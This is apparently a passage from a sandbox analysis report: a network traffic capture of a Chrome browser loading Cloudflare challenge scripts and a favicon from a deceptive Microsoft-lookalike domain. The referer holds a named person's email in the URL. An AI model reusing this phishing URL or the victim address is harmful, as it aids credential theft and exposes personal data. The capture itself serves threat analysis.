2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-14 14:23:47 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49733	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:48 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901e4933de02c33d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:48 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:48 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116221 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901e4937ed4e72b3-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:48 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 6f 75 72 25 32 30 64 65 76 69 63 65 25 32 30 63 6c 6f 63 6b 25 32 30 69 73 25 32 30 73 65 74 25 32 30 74 6f 25 32 30 61 25 32 30 77 72 6f 6e 67 25 32 30 74 69 6d 65 25 32 30 6f 72 25 32 30 74 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 70 61 67 65 25 32 30 77 61 73 25 32 30 61 63 63 69 64 65 6e 74 61 6c 6c 79 25 32 30 63 61 63 68 65 64 25 32 30 62 79 25 32 30 61 6e 25 32 30 69 6e 74 65 72 6d 65 64 69 61 72 79 25 32 30 61 6e 64 25 32 30 69 73 25 32 30 6e 6f 25 32 30 6c 6f 6e 67 65 72 25 32 30 61 76 61 69 6c 61 62 6c 65 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d 75 73 74 25 32 30 62 65 25 32 30 65 6d 62 65 64 64 65 64 25 32 30 69 6e 74 6f 25 32 30 61 25 32 30 70 61 72 65 6e 74 Data Ascii: our%20device%20clock%20is%20set%20to%20a%20wrong%20time%20or%20this%20challenge%20page%20was%20accidentally%20cached%20by%20an%20intermediary%20and%20is%20no%20longer%20available","not_embedded":"This%20challenge%20must%20be%20embedded%20into%20a%20parent
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 2c 67 39 2c 67 66 2c 67 67 2c 67 68 2c 67 72 2c 67 43 2c 67 47 2c 67 48 2c 66 39 2c 66 61 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 35 32 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 30 39 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 38 35 36 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 38 32 36 29 29 2f 34 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 36 39 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 34 34 36 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 37 37 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 Data Ascii: ,g9,gf,gg,gh,gr,gC,gG,gH,f9,fa){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1152))/1(-parseInt(gI(309))/2)+parseInt(gI(856))/3+-parseInt(gI(826))/4+parseInt(gI(1269))/5+-parseInt(gI(446))/6(-parseInt(gI(977))/7)+parseInt(gI(
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 3d 73 2c 78 5b 67 50 28 31 31 37 37 29 5d 28 6e 75 6c 6c 2c 69 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 29 72 65 74 75 72 6e 20 6f 3b 66 6f 72 28 43 3d 65 54 28 69 29 2c 68 5b 67 50 28 34 33 39 29 5d 5b 67 50 28 31 34 31 35 29 5d 26 26 28 43 3d 43 5b 67 50 28 37 35 34 29 5d 28 68 5b 67 50 28 34 33 39 29 5d 5b 67 50 28 31 34 31 35 29 5d 28 69 29 29 29 2c 43 3d 68 5b 67 50 28 37 36 34 29 5d 5b 67 50 28 38 30 34 29 5d 26 26 68 5b 67 50 28 32 36 30 29 5d 3f 68 5b 67 50 28 37 36 34 29 5d 5b 67 50 28 38 30 34 29 5d 28 6e 65 77 20 68 5b 28 67 50 28 32 36 30 29 29 5d 28 43 29 29 3a 66 75 6e 63 74 69 6f 6e 28 49 2c 67 52 2c 4a 29 7b 66 6f 72 28 67 52 3d 67 50 2c 49 5b 67 52 28 39 39 37 29 5d 28 29 2c 4a 3d 30 3b 4a 3c 49 5b 67 52 28 34 37 30 29 5d 3b 78 5b 67 52 28 Data Ascii: =s,x[gP(1177)](null,i)\|\|void 0===i)return o;for(C=eT(i),h[gP(439)][gP(1415)]&&(C=C[gP(754)](h[gP(439)][gP(1415)](i))),C=h[gP(764)][gP(804)]&&h[gP(260)]?h[gP(764)][gP(804)](new h[(gP(260))](C)):function(I,gR,J){for(gR=gP,I[gR(997)](),J=0;J<I[gR(470)];x[gR(
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 64 28 65 2c 66 29 7d 7d 2c 63 5b 68 6b 28 31 32 31 32 29 5d 28 73 65 74 54 69 6d 65 6f 75 74 2c 66 35 2c 30 29 7d 29 3a 73 65 74 54 69 6d 65 6f 75 74 28 66 35 2c 30 29 2c 65 4d 5b 67 4a 28 32 36 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 66 38 28 63 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 66 36 28 66 37 28 63 29 29 7d 7d 2c 66 39 3d 5b 5d 2c 66 61 3d 30 3b 32 35 36 3e 66 61 3b 66 39 5b 66 61 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 35 34 31 29 5d 28 66 61 29 2c 66 61 2b 2b 29 3b 67 48 3d 28 66 62 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 31 36 31 35 29 29 2c 66 63 3d 61 74 6f 62 28 67 4a 28 33 33 33 29 29 2c 65 4d 5b 67 4a 28 31 34 30 34 29 Data Ascii: function(d,e,f){return d(e,f)}},c[hk(1212)](setTimeout,f5,0)}):setTimeout(f5,0),eM[gJ(262)]=function(c){try{return f8(c)}catch(e){return f6(f7(c))}},f9=[],fa=0;256>fa;f9[fa]=String[gJ(1541)](fa),fa++);gH=(fb=(0,eval)(gJ(1615)),fc=atob(gJ(333)),eM[gJ(1404)
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 5b 69 36 28 37 33 33 29 5d 28 6e 2c 44 2c 21 21 5b 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 48 5b 69 36 28 31 30 33 39 29 5d 28 27 76 5f 27 2b 65 4d 5b 69 36 28 33 30 37 29 5d 5b 69 36 28 31 32 30 34 29 5d 2b 27 3d 27 2b 78 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 48 5b 69 36 28 35 39 38 29 5d 3d 35 65 33 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 78 3d 67 48 5b 69 36 28 31 30 32 34 29 5d 28 73 29 5b 69 36 28 36 31 31 29 5d 28 27 2b 27 2c 69 36 28 31 34 38 33 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 42 3d 66 43 28 67 5b 69 36 28 34 33 38 29 5d 2c 67 5b 69 36 28 31 31 39 36 29 5d 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 48 5b 69 36 28 31 32 37 34 29 5d 3d 66 75 6e 63 74 69 6f Data Ascii: [i6(733)](n,D,!![]);continue;case'4':H[i6(1039)]('v_'+eM[i6(307)][i6(1204)]+'='+x);continue;case'5':H[i6(598)]=5e3;continue;case'6':x=gH[i6(1024)](s)[i6(611)]('+',i6(1483));continue;case'7':B=fC(g[i6(438)],g[i6(1196)]);continue;case'8':H[i6(1274)]=functio
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 39 28 32 35 31 29 5d 28 6a 29 3e 2d 31 29 3f 65 4d 5b 69 39 28 38 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 61 29 7b 69 61 3d 69 39 2c 65 4d 5b 69 61 28 31 34 30 34 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6b 3d 7b 7d 2c 6b 5b 69 39 28 31 30 33 35 29 5d 3d 64 2c 6b 5b 69 39 28 31 31 39 36 29 5d 3d 65 2c 6b 5b 69 39 28 37 32 32 29 5d 3d 66 2c 6b 5b 69 39 28 34 37 31 29 5d 3d 67 2c 6b 5b 69 39 28 34 33 38 29 5d 3d 68 2c 6c 3d 6b 2c 65 4d 5b 69 39 28 38 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 62 29 7b 69 62 3d 69 39 2c 65 4d 5b 69 62 28 37 39 36 29 5d 28 6c 2c 75 6e 64 65 66 69 6e 65 64 2c 69 62 28 37 34 35 29 29 7d 2c 31 30 29 2c 65 4d 5b 69 39 28 38 38 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 63 29 7b 69 63 3d 69 39 2c 65 4d 5b 69 63 28 31 34 30 34 29 Data Ascii: 9(251)](j)>-1)?eM[i9(882)](function(ia){ia=i9,eM[ia(1404)]()},1e3):(k={},k[i9(1035)]=d,k[i9(1196)]=e,k[i9(722)]=f,k[i9(471)]=g,k[i9(438)]=h,l=k,eM[i9(882)](function(ib){ib=i9,eM[ib(796)](l,undefined,ib(745))},10),eM[i9(882)](function(ic){ic=i9,eM[ic(1404)
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 34 38 35 29 5d 3d 67 42 2c 67 47 5b 67 4a 28 34 33 32 29 5d 3d 67 79 2c 67 47 5b 67 4a 28 38 39 38 29 5d 3d 67 78 2c 67 47 5b 67 4a 28 31 31 34 39 29 5d 3d 66 57 2c 67 47 5b 67 4a 28 32 37 35 29 5d 3d 67 74 2c 67 47 5b 67 4a 28 31 34 37 32 29 5d 3d 67 73 2c 67 47 5b 67 4a 28 34 32 31 29 5d 3d 66 4e 2c 67 47 5b 67 4a 28 31 34 37 31 29 5d 3d 66 4f 2c 67 47 5b 67 4a 28 31 35 33 31 29 5d 3d 67 61 2c 67 47 5b 67 4a 28 39 35 30 29 5d 3d 67 63 2c 67 47 5b 67 4a 28 31 31 38 30 29 5d 3d 67 62 2c 67 47 5b 67 4a 28 31 35 35 34 29 5d 3d 67 6d 2c 67 47 5b 67 4a 28 31 35 31 38 29 5d 3d 67 6c 2c 67 47 5b 67 4a 28 37 31 38 29 5d 3d 67 6b 2c 67 47 5b 67 4a 28 31 30 30 32 29 5d 3d 67 6a 2c 67 47 5b 67 4a 28 39 39 34 29 5d 3d 67 34 2c 67 47 5b 67 4a 28 34 30 35 29 5d 3d 67 Data Ascii: 485)]=gB,gG[gJ(432)]=gy,gG[gJ(898)]=gx,gG[gJ(1149)]=fW,gG[gJ(275)]=gt,gG[gJ(1472)]=gs,gG[gJ(421)]=fN,gG[gJ(1471)]=fO,gG[gJ(1531)]=ga,gG[gJ(950)]=gc,gG[gJ(1180)]=gb,gG[gJ(1554)]=gm,gG[gJ(1518)]=gl,gG[gJ(718)]=gk,gG[gJ(1002)]=gj,gG[gJ(994)]=g4,gG[gJ(405)]=g
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 75 77 4c 51 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 6a 29 7b 72 65 74 75 72 6e 20 68 28 69 2c 6a 29 7d 2c 27 58 41 54 4b 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 49 6f 4c 4c 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 68 46 5a 74 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 59 6b 43 55 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 61 54 6c 6a 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 77 70 70 54 66 27 3a 6a 41 28 31 33 31 33 29 2c 27 6b 69 69 4c 43 27 3a 66 75 Data Ascii: ,i){return h==i},'uwLQD':function(h,i,j){return h(i,j)},'XATKX':function(h,i){return h(i)},'IoLLR':function(h,i){return h&i},'hFZtA':function(h,i){return h(i)},'YkCUD':function(h,i){return h*i},'aTljG':function(h,i){return h<i},'wppTf':jA(1313),'kiiLC':fu
2025-01-14 14:23:48 UTC	1369	IN	Data Raw: 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 7d 7d 65 6c 73 65 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 6a 44 28 31 32 33 36 29 5d 28 64 5b 6a 44 28 35 36 36 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 6a 44 28 39 35 34 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 64 5b 6a 44 28 34 37 32 29 5d 28 48 3c 3c 31 2e 34 31 2c 64 5b 6a 44 28 34 36 37 29 5d 28 4d 2c 31 29 29 2c 64 5b 6a 44 28 33 38 33 29 5d 28 49 2c 64 5b 6a 44 28 33 38 36 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 6a 44 28 31 32 33 36 29 5d 28 64 5b 6a 44 28 33 32 36 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 7d 65 6c 73 65 7b 66 6f 72 Data Ascii: ontinue}break}}}}else{for(s=0;s<F;H<<=1,I==j-1?(I=0,G[jD(1236)](d[jD(566)](o,H)),H=0):I++,s++);for(M=C[jD(954)](0),s=0;8>s;H=d[jD(472)](H<<1.41,d[jD(467)](M,1)),d[jD(383)](I,d[jD(386)](j,1))?(I=0,G[jD(1236)](d[jD(326)](o,H)),H=0):I++,M>>=1,s++);}}else{for

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49734	104.18.95.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:48 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/ak6hp/0x4AAAAAAA4sjfoGATNb4gTz/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:48 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:48 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901e49386acd7c87-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:48 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49727	104.21.112.1	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:48 UTC	763	OUT	GET /favicon.ico HTTP/1.1 Host: automtionmscroftsecurityactivation-authenic.appfilevault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/4HDRF/?e=marsha.rowland@cherokeebrick.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=60bgdjfe05l806n0sv6kklmv6m
2025-01-14 14:23:49 UTC	905	IN	HTTP/1.1 404 Not Found Date: Tue, 14 Jan 2025 14:23:49 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 CF-Cache-Status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gFGxbSlMKml4%2BUN2k4LdJjmQPRi0LwAheFpiMPs5gDEEUj4RNV2SVVvI7PT1s3cqMuBTIDNQ7KDnl4f3UUJwY21ML%2BUixT1be7rgzb8i%2F2ajh%2B%2Fd%2Bh2XrqLzg%2BY8jyP71%2BW9I%2F46xHgGMD2Atw5hyAFisSmlRpM%2FbortnjNYeIwuMlQgj4xgyYJaPkA4kYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901e493a5afdc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1481&rtt_var=571&sent=7&recv=7&lost=0&retrans=0&sent_bytes=3050&recv_bytes=1341&delivery_rate=2838626&cwnd=182&unsent_bytes=0&cid=797c533bc63010f4&ts=3517&x=0"
2025-01-14 14:23:49 UTC	202	IN	Data Raw: 63 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c4<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2025-01-14 14:23:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49735	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:49 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:49 UTC	240	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:49 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901e493c6c9e42a6-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:49 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49736	104.18.94.41	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:49 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901e4933de02c33d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:23:49 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:23:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 113505 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901e493dbd2641f2-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 14:23:49 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
